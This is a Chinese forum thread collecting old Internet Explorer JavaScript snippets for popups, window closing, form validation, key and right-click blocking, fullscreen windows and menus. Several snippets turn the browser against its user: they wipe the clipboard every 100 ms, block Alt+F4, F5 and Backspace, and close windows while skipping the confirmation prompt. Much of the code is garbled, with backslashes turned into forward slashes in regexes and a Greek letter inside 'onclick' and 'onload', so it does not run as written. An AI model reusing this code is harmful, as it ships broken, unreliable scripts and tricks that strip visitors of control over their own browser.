<input type="button" οnclick="openwin()" value="打开窗口"> 
</body> 
</html> 
看看 OpenWindow.document.write()里面的代码不就是标准的HTML吗?只要按照格式写更多的行即可。千万注意多一个标签或少一个标签就会出现错误。记得用OpenWindow.document.close()结束啊。 

【9、终极应用--弹出的窗口之Cookie控制】 

回想一下,上面的弹出窗口虽然酷,但是有一点小毛病(沉浸在喜悦之中,一定没有发现吧?)比如你将上面的脚本放在一个需要频繁经过的页面里(例如首页),那么每次刷新这个页面,窗口都会弹出一次,是不是非常烦人?:-(有解决的办法吗?Yes! ;-) Follow me. 

我们使用cookie来控制一下就可以了。 

首先,将如下代码加入主页面HTML的<HEAD>区: 
<script> 
function openwin() 
{window.open("page.html","","width=200,height=200")} 
function get_cookie(Name) 
{var search = Name + "=" 
var returnvalue = ""; 
if (document.cookie.length > 0) { 
offset = document.cookie.indexOf(search) 
if (offset != -1) { 
offset += search.length 
end = document.cookie.indexOf(";", offset); 
if (end == -1) 
end = document.cookie.length; 
returnvalue=unescape(document.cookie.substring(offset,end)) 


return returnvalue; 

function loadpopup(){ 
if (get_cookie('popped')==''){ 
openwin() 
document.cookie="popped=yes" 


</script> 
然后,用<body οnlοad="loadpopup()">(注意不是openwin而是loadpop啊!)替换主页面中原有的<BODY>这一句即可。你可以试着刷新一下这个页面或重新进入该页面,窗口再也不会弹出了。真正的Pop-Only-Once! 

Re:玩透弹出窗口
为什么我用window.close()关闭窗口时,浏览器总是弹出一个对话框
要求是否确认关闭?新手,请多多指教。谢谢!
Re:玩透弹出窗口
<input type=button value=关闭 οnclick="window.opener=null;window.close()">
<!-- IE5.5+ 不会有弹出提示 -->

<OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 width=0></OBJECT>
<input type=button value=关闭窗口 οnclick=document.all.WebBrowser.ExecWB(45,1)>
<!-- IE5.5+ 不会有弹出提示 -->
在datagrid中的按下“删除”按钮列时,弹出一个询问确认窗口,问是否要删除,如果是则delete,如果否则返回?
Re:玩透弹出窗口
这个问题以前就解决了。
具体方法是:

DataGrid属性生成器 -- 选中“删除”按钮列 -- 在“文本”的框内输入

<div id="de" οnclick="JavaScript:return confirm('are you sure?')">删除</div>
Re:玩透弹出窗口
<script language="JavaScript">  
function closeit()  
{setTimeout("self.close()",10000) file://毫/秒}  
</script>  
Re:玩透弹出窗口
<html>
<body οnlοad='closeit()'>
<SCRIPT LANGUAGE="javascript">  
<!--  
window.open ('df.html', 'newwindow', 'height=100, width=400, top=0,left=0, toolbar=no, menubar=no, scrollbars=no, resizable=no,location=no, status=no')  
-->  

</SCRIPT>
<script language="JavaScript">  
function closeit()  
{setTimeout("self.close()",1000) file://毫/秒}  
</script>  

</body>
</html> 

在b-s开发中经常用到的javaScript技术(请大家逐个收集)
一、验证类
1、数字验证内
  1.1 整数
  1.2 大于0的整数 (用于传来的ID的验证)
  1.3 负整数的验证
  1.4 整数不能大于iMax
  1.5 整数不能小于iMin
2、时间类
  2.1 短时间,形如 (13:04:06)
  2.2 短日期,形如 (2003-12-05)
  2.3 长时间,形如 (2003-12-05 13:04:06)
  2.4 只有年和月。形如(2003-05,或者2003-5)
  2.5 只有小时和分钟,形如(12:03)
3、表单类
  3.1 所有的表单的值都不能为空
  3.2 多行文本框的值不能为空。
  3.3 多行文本框的值不能超过sMaxStrleng
  3.4 多行文本框的值不能少于sMixStrleng
  3.5 判断单选框是否选择。
  3.6 判断复选框是否选择.
  3.7 复选框的全选,多选,全不选,反选
  3.8 文件上传过程中判断文件类型
4、字符类
  4.1 判断字符全部由a-Z或者是A-Z的字字母组成
  4.2 判断字符由字母和数字组成。
  4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
  4.4 字符串替换函数.Replace();
5、浏览器类
  5.1 判断浏览器的类型
  5.2 判断ie的版本
  5.3 判断客户端的分辨率
  
6、结合类
  6.1 email的判断。
  6.2 手机号码的验证
  6.3 身份证的验证
  

二、功能类

1、时间与相关控件类
  1.1 日历
  1.2 时间控件
  1.3 万年历
  1.4 显示动态显示时钟效果(文本,如OA中时间)
  1.5 显示动态显示时钟效果 (图像,像手表) 
2、表单类
  2.1 自动生成表单
  2.2 动态添加,修改,删除下拉框中的元素
  2.3 可以输入内容的下拉框
  2.4 多行文本框中只能输入iMax文字。如果多输入了,自动减少到iMax个文字(多用于短信发送)
  
3、打印类
  3.1 打印控件
4、事件类
  4.1 屏蔽右键
  4.2 屏蔽所有功能键
  4.3 --> 和<-- F5 F11,F9,F1
  4.4 屏蔽组合键ctrl+N
5、网页设计类
  5.1 连续滚动的文字,图片(注意是连续的,两段文字和图片中没有空白出现)
  5.2 html编辑控件类
  5.3 颜色选取框控件
  5.4 下拉菜单
  5.5 两层或多层次的下拉菜单
  5.6 仿IE菜单的按钮。(效果如rongshuxa.com的导航栏目)
  5.7 状态栏,title栏的动态效果(例子很多,可以研究一下)
  5.8 双击后,网页自动滚屏
6、树型结构。
  6.1 asp+SQL版
  6.2 asp+xml+sql版
  6.3 java+sql或者java+sql+xml
7、无边框效果的制作
8、连动下拉框技术
9、文本排序
10,画图类,含饼、柱、矢量贝滋曲线
11,操纵客户端注册表类
12,DIV层相关(拖拽、显示、隐藏、移动、增加)
13,TABLAE相关(客户端动态增加行列,模拟进度条,滚动列表等)
14,各种<object classid=>相关类,如播放器,flash与脚本互动等
16, 刷新/模拟无刷新 异步调用类(XMLHttp或iframe,frame)

<script language="JavaScript">
<!--
function check(text){
var checkstr,iMax=5,iMin=3
checkstr="isInt:"+(parseInt(text)==text)+"/n"
checkstr+="isID:"+((parseInt(text)==text)&&(text>=0))+"/n"
checkstr+="小于"+iMax+":"+((parseInt(text)==text)&&(text<iMax))+"/n"
checkstr+="大于"+iMin+":"+((parseInt(text)==text)&&(text>iMin))+"/n"
alert(checkstr)
}
//-->
</script>
<form method=post action="">
<input type="text" id="text1" οnchange="check(this.value)">
</form>

4、事件类
  4.1 屏蔽右键
      在body标签里加上οncοntextmenu=self.event.returnValue=false  
  4.2 屏蔽所有功能键

  4.3 --> 和<-- F5 F11,F9,F1

  4.4 屏蔽组合键ctrl+N

<script language=javascript>
function KeyDown(){   
  if ((window.event.altKey)&&
      ((window.event.keyCode==37)||   //屏蔽 Alt+ 方向键 ←
       (window.event.keyCode==39))){  //屏蔽 Alt+ 方向键 →
     alert("不准你使用ALT+方向键前进或后退网页!");
     event.returnValue=false;
     }
  if ((event.keyCode==8)||            //屏蔽退格删除键
      (event.keyCode==116)){          //屏蔽 F5 刷新键
     event.keyCode=0;
     event.returnValue=false;
     }
  if ((event.ctrlKey)&&(event.keyCode==78)){   //屏蔽 Ctrl+n
     event.returnValue=false;
     }
  if ((event.shiftKey)&&(event.keyCode==121)){ //屏蔽 shift+F10
     event.returnValue=false;
     }
  if (event.keyCode==122){ //屏蔽 F11
     event.returnValue=false;
     }
  }
只要知道keyCode即可屏蔽所有功能键


一、验证类
1、数字验证内
  1.1 整数
      /^(-|/+)?/d+$/.test(str)
  1.2 大于0的整数 (用于传来的ID的验证)
      /^/d+$/.test(str)
  1.3 负整数的验证
      /^-/d+$/.test(str)
2、时间类
  2.1 短时间,形如 (13:04:06)
      function isTime(str)
      {
        var a = str.match(/^(/d{1,2})(:)?(/d{1,2})/2(/d{1,2})$/);
        if (a == null) {alert('输入的参数不是时间格式'); return false;}
        if (a[1]>24 || a[3]>60 || a[4]>60)
        {
          alert("时间格式不对");
          return false
        }
        return true;
      }
  2.2 短日期,形如 (2003-12-05)
      function strDateTime(str)
      {
         var r = str.match(/^(/d{1,4})(-|//)(/d{1,2})/2(/d{1,2})$/); 
         if(r==null)return false; 
         var d= new Date(r[1], r[3]-1, r[4]); 
         return (d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]);
      }
  2.3 长时间,形如 (2003-12-05 13:04:06)
      function strDateTime(str)
      {
        var reg = /^(/d{1,4})(-|//)(/d{1,2})/2(/d{1,2}) (/d{1,2}):(/d{1,2}):(/d{1,2})$/; 
        var r = str.match(reg); 
        if(r==null)return false; 
        var d= new Date(r[1], r[3]-1,r[4],r[5],r[6],r[7]); 
        return 

(d.getFullYear()==r[1]&&(d.getMonth()+1)==r[3]&&d.getDate()==r[4]&&d.getHours()==r[5]&&d.getMinutes()==r[6]&&d.getSeconds()==

r[7]);
      }
  2.4 只有年和月。形如(2003-05,或者2003-5)
  2.5 只有小时和分钟,形如(12:03)
3、表单类
  3.1 所有的表单的值都不能为空
      <input οnblur="if(this.value.replace(/^/s+|/s+$/g,'')=='')alert('不能为空!')">
  3.2 多行文本框的值不能为空。
  3.3 多行文本框的值不能超过sMaxStrleng
  3.4 多行文本框的值不能少于sMixStrleng
  3.5 判断单选框是否选择。
  3.6 判断复选框是否选择.
  3.7 复选框的全选,多选,全不选,反选
  3.8 文件上传过程中判断文件类型
4、字符类
  4.1 判断字符全部由a-Z或者是A-Z的字字母组成
      <input οnblur="if(/[^a-zA-Z]/g.test(this.value))alert('有错')">
  4.2 判断字符由字母和数字组成。
      <input οnblur="if(/[^0-9a-zA-Z]/g.test(this.value))alert('有错')">
  4.3 判断字符由字母和数字,下划线,点号组成.且开头的只能是下划线和字母
      /^([a-zA-z_]{1})([/w]*)$/g.test(str)
  4.4 字符串替换函数.Replace();
5、浏览器类
  5.1 判断浏览器的类型
      window.navigator.appName
  5.2 判断ie的版本
      window.navigator.appVersion
  5.3 判断客户端的分辨率
      window.screen.height;  window.screen.width;
  
6、结合类
  6.1 email的判断。
      function ismail(mail)
      {
        return(new RegExp(/^/w+((-/w+)|(/./w+))*/@[A-Za-z0-9]+((/.|-)[A-Za-z0-9]+)*/.[A-Za-z0-9]+$/).test(mail));
      }
  6.2 手机号码的验证
  6.3 身份证的验证
      function isIdCardNo(num)
      {
        if (isNaN(num)) {alert("输入的不是数字!"); return false;}
        var len = num.length, re; 
        if (len == 15)
          re = new RegExp(/^(/d{6})()?(/d{2})(/d{2})(/d{2})(/d{3})$/);
        else if (len == 18)
          re = new RegExp(/^(/d{6})()?(/d{4})(/d{2})(/d{2})(/d{3})(/d)$/);
        else {alert("输入的数字位数不对!"); return false;}
        var a = num.match(re);
        if (a != null)
        {
          if (len==15)
          {
            var D = new Date("19"+a[3]+"/"+a[4]+"/"+a[5]);
            var B = D.getYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
          }
          else
          {
            var D = new Date(a[3]+"/"+a[4]+"/"+a[5]);
            var B = D.getFullYear()==a[3]&&(D.getMonth()+1)==a[4]&&D.getDate()==a[5];
          }
          if (!B) {alert("输入的身份证号 "+ a[0] +" 里出生日期不对!"); return false;}
        }
        return true;
      }


3.7 复选框的全选,多选,全不选,反选
<form name=hrong>
<input type=checkbox name=All οnclick="checkAll('mm')">全选<br/>
<input type=checkbox name=mm οnclick="checkItem('All')"><br/>
<input type=checkbox name=mm οnclick="checkItem('All')"><br/>
<input type=checkbox name=mm οnclick="checkItem('All')"><br/>
<input type=checkbox name=mm οnclick="checkItem('All')"><br/>
<input type=checkbox name=mm οnclick="checkItem('All')"><br/><br/>


<input type=checkbox name=All2 οnclick="checkAll('mm2')">全选<br/>
<input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>
<input type=checkbox name=mm2 οnclick="checkItem('All2')"><br/>

</form>

<SCRIPT LANGUAGE="JavaScript">
function checkAll(str)
{
  var a = document.getElementsByName(str);
  var n = a.length;
  for (var i=0; i<n; i++)
  a[i].checked = window.event.srcElement.checked;
}
function checkItem(str)
{
  var e = window.event.srcElement;
  var all = eval("document.hrong."+ str);
  if (e.checked)
  {
    var a = document.getElementsByName(e.name);
    all.checked = true;
    for (var i=0; i<a.length; i++)
    {
      if (!a[i].checked){ all.checked = false; break;}
    }
  }
  else all.checked = false;
}
</SCRIPT>

3.8 文件上传过程中判断文件类型
<input type=file οnchange="alert(this.value.match(/^(.*)(/.)(.{1,8})$/)[3])">

不断地清空剪贴板:
<body οnlοad="setInterval('clipboardData.setData(/'Text/',/'/')',100)">


<script language="JavaScript" type="text/JavaScript">
//先复制一样东西,或者文本或者图片
if(clipboardData.getData("Text")||clipboardData.getData("HTML")||clipboardData.getData("URL"))
{
alert("有效行为");
}
</script>


全屏技术:
真正的全屏页面解决之道!(全代码) 
真正全屏解决之道: 
1.htm 
<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
</head> 

<body οnlοad="window.open('fullscreen.htm','','fullscreen=1,scroll=no');"> 
</body> 
</html> 


fullscreen.htm 
<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<script language="JavaScript1.2">  
<!--  
function opensmallwin(myurl){  
var w2=300;//想弹出窗口的宽度  
var h2=100;//想弹出窗口的高度  
var w3=window.screen.width/2-w2/2;  
var h3=window.screen.height/2-h2/2;  
window.open(myurl,'small','toolbar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=0,width='+ w2 +',height='+ h2 +',left='+ w3 +',top='+ h3 +'');  
}  
//-->  

<!-- 
function modelesswin(url,mwidth,mheight){ 
  if (document.all&&window.print) 
    eval('window.showModelessDialog(url,"","help:0;resizable:0;status:0;center:1;scroll:0;dialogWidth:'+mwidth+'px;dialogHeight:'+mheight+'px")')  
  else 
    eval('window.open(url,"","width='+mwidth+'px,height='+mheight+'px,resizable=1,scrollbars=1")') 
  } 
//--> 

</script>  
</head> 

<body  scroll="no"> 
<div align="right"><a href="javascript:" οnclick="window.close()">关闭</a> </div> 
<p></P> 
<div align="right"><a href="javascript:" οnclick="opensmallwin('login.htm')">登录</a> </div> 

<p></P> 
<div align="center"><a href="javascript:" οnclick="modelesswin('login.htm',300,160)">用模态登录窗口</a> </div> 
</body> 
</html> 


login.htm 
<html> 
<head> 
<title>用户登录</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 

<style type="text/css"> 
<!-- 
body { 
   background-color: #EAEAEA; 
   font-family: Arial, Helvetica, sans-serif; 
   font-size: 12px; 
   line-height: 24px; 
   color: #336699; 

input.boxline { 
   width: 100px; 
   font-family: "Times New Roman", "Times", "serif"; 
   font-size: 9pt; 
   border: 1px solid #669999; 
   height: 18px; 

input.whiteline {   
   font-size: 12px; border: 1px #999999 solid 

--> 
</style></head> 
<body leftmargin="0" topmargin="0" marginwidth="0" marginheight="0"> 
<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="14" bgcolor="#CCCCCC"> 
  <tr valign="top"> 
    <td width="10%" nowrap  align="right"><b>用户名:</b></td> 
    <td width="90%"><input name="textfield1" type="text" size="25" class="whiteline"></td> 
  </tr> 
  <tr valign="top"> 
    <td nowrap align="right"><b>密 码:</b></td> 
    <td><input name="textfield12" type="password" size="25" class="whiteline"></td> 
  </tr> 
  <tr valign="top"> 
    <td> </td> 
    <td><input type="submit" name="Submit" value="登  录" class="boxline"></td> 
  </tr> 
</table> 
</body> 
</html> 


自动关掉原窗口: 


<html> 
<head> 
<title>无标题文档</title> 
<meta http-equiv="Content-Type" content="text/html; charset=gb2312"> 
<style type="text/css"> 
<!-- 
body { 
   margin-left: 0px; 
   margin-top: 0px; 
   margin-right: 0px; 
   margin-bottom: 0px; 

--> 
</style> 
</head> 

<body οnlοad="window.open('fullscreen.htm','','fullscreen=1,scroll=no');window.opener=null;window.close()"> 
<input type=button value=关闭 οnclick="window.opener=null;window.close()">  
<!-- IE5.5+ 不会有弹出提示 -->  

<OBJECT id=WebBrowser classid=CLSID:8856F961-340A-11D0-A96B-00C04FD705A2 height=0 width=0></OBJECT>  
<input type=button value=关闭窗口 οnclick=document.all.WebBrowser.ExecWB(45,1)>  
</body> 
</html> 

关键是在onload事件中加入: 
window.opener=null;window.close() 


预读图片:
<SCRIPT LANGUAGE="JavaScript">

<!-- This script and many more are available free online at -->
<!-- The JavaScript Source!! 
http://javascript.internet.com -->

<!-- Begin

image1 = new Image();
image1.src = "image1.gif";

image2 = new Image();
image2.src = "image2.gif";

// End -->
</script>

关于两个网页刷新交互的问题 
JS处理方法: 

a.htm 

<a href="b.htm" target=blank>发表留言</a> 
<script> 
alert("wwwwwwwwwwwwwwwwwwwwwwwwww"); 
</script> 

b.htm 

<script language="javascript"> 
//window.opener.location.reload();刷新父窗口 
//window.opener.location="2.htm"//重定向父窗口到2.htm页 
function closewindow() 

window.opener.location.reload(); 
self.close(); 
window.opener.document.write("sssssssssssssssssss"); 

</script> 
<a href="b.htm" target=blank οnclick="closewindow();">关闭</a> 

后台处理方法: 

private btnForSubmit(Object sender,EventArgs e) 

 ............. 
 Response.Write("<script>window.opener.document.execCommand('refresh');window.opener='';window.close();</script>"); 
//string str="<script>window.opener.document.execCommand('refresh');window.opener='';window.close();</script>"; 
//this.RegisterStartupScript("mycode",str); 

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
showModalDialog()、showModelessDialog()方法使用详解

 Javascript有许多内建的方法来产生对话框,如:window.alert(), window.confirm(),window.prompt().等。 然而IE提供更多的方法支持对话框。如:

  showModalDialog() (IE 4+ 支持)
  showModelessDialog() (IE 5+ 支持)


 window.showModalDialog()方法用来创建一个显示HTML内容的模态对话框,由于是对话框,因此它并没有一般用window.open()打开的窗口的所有属性。
 window.showModelessDialog()方法用来创建一个显示HTML内容的非模态对话框。

 当我们用showModelessDialog()打开窗口时,不必用window.close()去关闭它,当以非模态方式[IE5]打开时, 打开对话框的窗口仍可以进行其他的操作,即对话框不总是最上面的焦点,当打开它的窗口URL改变时,它自动关闭。而模态[IE4]方式的对话框始终有焦点(焦点不可移走,直到它关闭)。模态对话框和打开它的窗口相联系,因此我们打开另外的窗口时,他们的链接关系依然保存,并且隐藏在活动窗口的下面。

使用方法如下:
 vReturnValue = window.showModalDialog(sURL [, vArguments] [, sFeatures])
 vReturnValue = window.showModelessDialog(sURL [, vArguments] [, sFeatures])
参数说明:
 sURL
 必选参数,类型:字符串。用来指定对话框要显示的文档的URL。
 vArguments
 可选参数,类型:变体。用来向对话框传递参数。传递的参数类型不限,包括数组等。对话框通过window.dialogArguments来取得传递进来的参数。
 sFeatures
 可选参数,类型:字符串。用来描述对话框的外观等信息,可以使用以下的一个或几个,用分号“;”隔开。
  dialogHeight 对话框高度,不小于100px,IE4中dialogHeight 和 dialogWidth 默认的单位是em,而IE5中是px,为方便其见,在定义modal方式的对话框时,用px做单位。
   dialogWidth: 对话框宽度。
   dialogLeft: 距离桌面左的距离。
   dialogTop: 离桌面上的距离。
   center: {yes | no | 1 | 0 }:窗口是否居中,默认yes,但仍可以指定高度和宽度。
   help: {yes | no | 1 | 0 }:是否显示帮助按钮,默认yes。
   resizable: {yes | no | 1 | 0 } [IE5+]:是否可被改变大小。默认no。
   status: {yes | no | 1 | 0 } [IE5+]:是否显示状态栏。默认为yes[ Modeless]或no[Modal]。
  scroll:{ yes | no | 1 | 0 | on | off }:指明对话框是否显示滚动条。默认为yes。

  还有几个属性是用在HTA中的,在一般的网页中一般不使用。
  dialogHide:{ yes | no | 1 | 0 | on | off }:在打印或者打印预览时对话框是否隐藏。默认为no。
  edge:{ sunken | raised }:指明对话框的边框样式。默认为raised。
  unadorned:{ yes | no | 1 | 0 | on | off }:默认为no。

 传入参数:
 要想对话框传递参数,是通过vArguments来进行传递的。类型不限制,对于字符串类型,最大为4096个字符。也可以传递对象,例如:

 test1.htm
 ====================
 <script>
  var mxh1 = new Array("mxh","net_lover","孟子E章")
  var mxh2 = window.open("about:blank","window_mxh")
  // 向对话框传递数组
  window.showModalDialog("test2.htm",mxh1)
  // 向对话框传递window对象
  window.showModalDialog("test3.htm",mxh2)
 </script>

 test2.htm
 ====================
 <script>
  var a = window.dialogArguments
  alert("您传递的参数为:" + a)
 </script>

 test3.htm
 ====================
 <script>
  var a = window.dialogArguments
  alert("您传递的参数为window对象,名称:" + a.name)
 </script>

 可以通过window.returnValue向打开对话框的窗口返回信息,当然也可以是对象。例如:

 test4.htm
 ===================
 <script>
  var a = window.showModalDialog("test5.htm")
  for(i=0;i<a.length;i++) alert(a[i])
 </script>

 test5.htm
 ===================
 <script>
 function sendTo()
 {
  var a=new Array("a","b")
  window.returnValue = a
  window.close()
 }
 </script>
 <body>
 <form>
  <input value="返回" type=button οnclick="sendTo()">
 </form>

 常见问题:
 1,如何在模态对话框中进行提交而不新开窗口?
 如果你 的 浏览器是IE5.5+,可以在对话框中使用带name属性的iframe,提交时可以制定target为该iframe的name。对于IE4+,你可以用高度为0的frame来作:例子,

 test6.htm
 ===================
 <script>
  window.showModalDialog("test7.htm")
 </script>

 test7.htm
 ===================
 if(window.location.search) alert(window.location.search)
 <frameset rows="0,*">
  <frame src="about:blank">
  <frame src="test8.htm">
 </frameset>

 test8.htm
 ===================
 <form target="_self" method="get">
 <input name=txt value="test">
 <input type=submit>
 </form>
 <script>
 if(window.location.search) alert(window.location.search)
 </script>
 2,可以通过
http://servername/virtualdirname/test.htm?name=mxh方式直接向对话框传递参数吗?
 答案是不能。但在frame里是可以的。

Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
//屏蔽 F5 刷新键


function document.onkeydown()
{
    var k = window.event.keyCode;
    if (k == 116)                   //屏蔽 F5 刷新键
    {
        window.event.keyCode    = 0;
        window.event.returnValue= false;
    }
}


<script language="Javascript">
 //屏蔽鼠标右键、Ctrl+N、Shift+F10、F5刷新、退格键
 //屏蔽F1帮助
function window.onhelp()
{
   return false
}
function KeyDown()
{
  //alert(event.keyCode);
   //屏蔽 Alt+ 方向键 ← 屏蔽 Alt+ 方向键 →
  if ((window.event.altKey)&&((window.event.keyCode==37)||(window.event.keyCode==39)))
  {  
     //alert("不准你使用ALT+方向键前进或后退网页!");
     event.returnValue=false;
  }
  //屏蔽退格删除键,屏蔽 F5 刷新键,Ctrl + R
  if ((event.keyCode==116)||(event.ctrlKey && event.keyCode==82))
  { 
     event.keyCode=0;
     event.returnValue=false;
  } 
  
  //屏蔽 Ctrl+n
  if ((event.ctrlKey)&&(event.keyCode==78))
  {  
     event.returnValue=false;
  }
  
  //屏蔽 shift+F10
  if ((event.shiftKey)&&(event.keyCode==121))
  { 
     event.returnValue=false;
  }
  
  //屏蔽 shift 加鼠标左键新开一网页
  if (window.event.srcElement.tagName == "A" && window.event.shiftKey) 
  {
    window.event.returnValue = false;
  }
      
   //屏蔽Alt+F4
  if ((window.event.altKey)&&(window.event.keyCode==115))
  {
      window.showModelessDialog("about:blank","","dialogWidth:1px;dialogheight:1px");
      return false;
  }
  
  //屏蔽Ctrl+A
  if((event.ctrlKey)&&(event.keyCode==65))
  {
   return false;
  }
    
}
</script>
</body>
</HTML>

<script language="Javascript"><!--
document.onkeydown = function()
{
    var k = window.event.keyCode;
    if (k == 116)                   //屏蔽 F5 刷新键
    {
        window.event.keyCode    = 0;
        window.event.returnValue= false;
    }
}
// --></script>


Re:在b-s开发中经常用到的javaScript技术(请大家逐个收集)
酷毕仿浏览器菜单


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0035)http://ohsky.top263.net/js/js33.htm -->
<HTML><HEAD><TITLE>酷毕仿浏览器菜单</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<STYLE>BODY {
   FONT-FAMILY: verdana;
   FONT-SIZE: 12px;
   margin-left: 0px;
   margin-top: 0px;
   margin-right: 0px;
   margin-bottom: 0px;
}
DIV {
   FONT-FAMILY: verdana; FONT-SIZE: 12px
}
TD {
   FONT-FAMILY: verdana; FONT-SIZE: 12px
}
LAYER {
   FONT-FAMILY: verdana; FONT-SIZE: 12px
}
A:link {
   COLOR: #333333; TEXT-DECORATION: none
}
A:visited {
   COLOR: #333333; TEXT-DECORATION: none
}
A:active {
   COLOR: #333333; TEXT-DECORATION: none
}
A:link {
   CURSOR: default
}
A:hover {
   CURSOR: default
}
A:active {
   CURSOR: default
}
A:hover {
   COLOR: #ffffff; TEXT-DECORATION: none
}
.d {
   FONT-SIZE: 12px
}
.Rollover {
   BEHAVIOR: url(imageRollover_js.htc)
}

.main_tab {
   background-color: #D4D0C8;
   color: #000000;
   border-top:1px solid #FFFFFF;
   border-left:1px solid #FFFFFF;
   border-right: 1px solid gray;
   border-bottom: 1px solid gray; 
   background-image:   url(images/bg/huifang_bg1.gif);
   }
</STYLE>

<SCRIPT language=JavaScript type=text/javascript>
<!--

No3 = (parseInt(navigator.appVersion) > 3) ? 1:0;
layer = (document.all && No3) ? "document.all['L'+menu].style" : (document.layers && No3) ? "document.layers['L'+menu]" : 0;
var timer;

function Show() { if(layer) {
   if(timer) clearTimeout(timer);
   for(menu=0; menu<Layer.length; menu++) { if(Layer[menu]) { eval(layer).visibility = "hidden"; } }
   for(i=0; i<arguments.length; i++) { menu=arguments[i]; eval(layer).visibility = "visible"; }
} }
function Hide() { timer = setTimeout("Show()", 500); }

function MM_preloadImages() { //v3.0
  var d=document; if(d.images){ if(!d.MM_p) d.MM_p=new Array();
    var i,j=d.MM_p.length,a=MM_preloadImages.arguments; for(i=0; i<a.length; i++)
    if (a[i].indexOf("#")!=0){ d.MM_p[j]=new Image; d.MM_p[j++].src=a[i];}}
}
//-->
</SCRIPT>

<META content="MSHTML 5.00.2614.3500" name=GENERATOR></HEAD>
<BODY bgColor=#ffffff>
<SPAN id=menubar style="POSITION: relative; VISIBILITY: hidden">
<TABLE bgColor=#cccccc border=0 cellPadding=3 cellSpacing=0 width=500 class="main_tab">
  <TBODY>
  <TR>
    <TD>
      <DIV align=center><A href="
http://ohsky.top263.net/js/js33.htm#" 
      οnmοuseοut=Hide(1) οnmοuseοver=Show(1)>文件(F)</A></DIV></TD>
    <TD>
      <DIV align=center><A href="
http://ohsky.top263.net/js/js33.htm#" 
      οnmοuseοut=Hide(2) οnmοuseοver=Show(2)>编辑(E)</A></DIV></TD>
    <TD>
      <DIV align=center><A href="
http://ohsky.top263.net/js/js33.htm#" 
      οnmοuseοut=Hide(3) 
οnmοuseοver=Show(3)>查看(V)</A></DIV></TD></TR></TBODY></TABLE>
</SPAN>
(注:菜单前带"√"的项目功能可以实现,其余项目正在测试中)<BR>
<SCRIPT><!--//
function gohome(){
if (document.layers)
window.home()
else if (document.all)
window.location="about:home"
else
alert("You need NS 4+ or IE 4+ to go back home!")
}
//--></SCRIPT>
<SCRIPT language=JavaScript><!-- 
   hovercolor   = "#000099";
   bgcolor      = "#CCCCCC";
   background   = "";
   menu_border  = 1;         // IE only
   border_color = "#000000";   // IE only
   arrow_pic    = "arrow.gif"; 
if(document.all) { if(!background) { background=bgcolor; } else { background = "url("+background+")"; } }

//Left:左侧距离 Top:顶端距离  Width:菜单宽度


function LayerSpecs(Left,Top,Width) { if(No3) {
   if(document.all) { Top+=7; Left+=2; Width-=6; }
   this.left  = Left;
   this.top   = Top;
   this.info  = "";
   T=0;
   for(i=3; i<arguments.length; i++) {
      if(document.all) { this.info += "<TR><TD WIDTH="+Width+" onMouseOver='this.bgColor=/""+hovercolor+"/"' onMouseOut='this.bgColor=/"/"'>"+arguments[i]+"</TD></TR>"; }
      else { this.info += "<LAYER onMouseOver='this.bgColor=/""+hovercolor+"/"' onMouseOut='this.bgColor=/""+bgcolor+"/"' WIDTH="+Width+" POSITION=RELATIVE TOP="+T+"> "+arguments[i]+"</LAYER>"; }
      T+=20;
   }
} }
Layer = new Array();
arrow = "<IMG SRC='"+arrow_pic+"' WIDTH=4 HEIGHT=8 BORDER=0 ALT=''>";


//第地层菜单

Layer[1] =   new LayerSpecs(58,17,110,
         '<A HREF="#" onMouseOver="Show(4,1)"> 新建(N)   </A> '+arrow,
         '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(1,1)" onMouseOver="Show(1)">√打开(O)</A>',
         '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(4,1)" onMouseOver="Show(1)">√另存为(A)</A>',
         '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(8,1)" onMouseOver="Show(1)">√页面设置(U)</A>',
            '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(6,1)" onMouseOver="Show(1)">√打印(P)</A><object id="WebBrowser" width=0 height=0 classid="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></object>',
            '<A HREF="#" onClick="document.all.WebBrowser.ExecWB(10,1)" onMouseOver="Show(1)">√属性(R)</A>',
            '<A HREF="#" onMouseOver="Show(1)"> 脱机工作(W)</A> '
);
Layer[2] =   new LayerSpecs(229,17,130,
         '<A HREF="
http://ohsky.top263.net/main/dw.htm" onMouseOver="Show(6,2)"> dreamweaver </A> '+arrow,
         '<A HREF="
http://ohsky.top263.net/main/fla.htm" onMouseOver="Show(7,2)"> FLASH     </A> '+arrow,
         '<A HREF="
http://ohsky.top263.net/main/down.htm" onMouseOver="Show(8,2)"> Download   </A> '+arrow,
            '<A HREF="
http://ohsky.top263.net/main/ja.htm" onMouseOver="Show(2)"> Javascript</A> '
);
Layer[3] =   new LayerSpecs(396,17,110,
            '<A HREF="
http://ohsky.top263.net"> 海景天堂(S)</A> ',
         '<A HREF="
mailto:wbq101@167.net"> 反馈邮件(M)</A> ',
         '<A HREF="
http://ohsky.top263.net/main/sitemap.htm"> 导航地图(S)</A> ',
            '<A HREF="
http://www.buqing.com"> 网站版权(C)</A> ',
            '<A HREF="#" onClick="window.location.reload()">√刷新(R)</A>'
);

//第二层菜单

Layer[4] =   new LayerSpecs(175,15,110,
         '<A HREF="#" onMouseOver="Show(4,1)"> 窗口(W)</A> ',
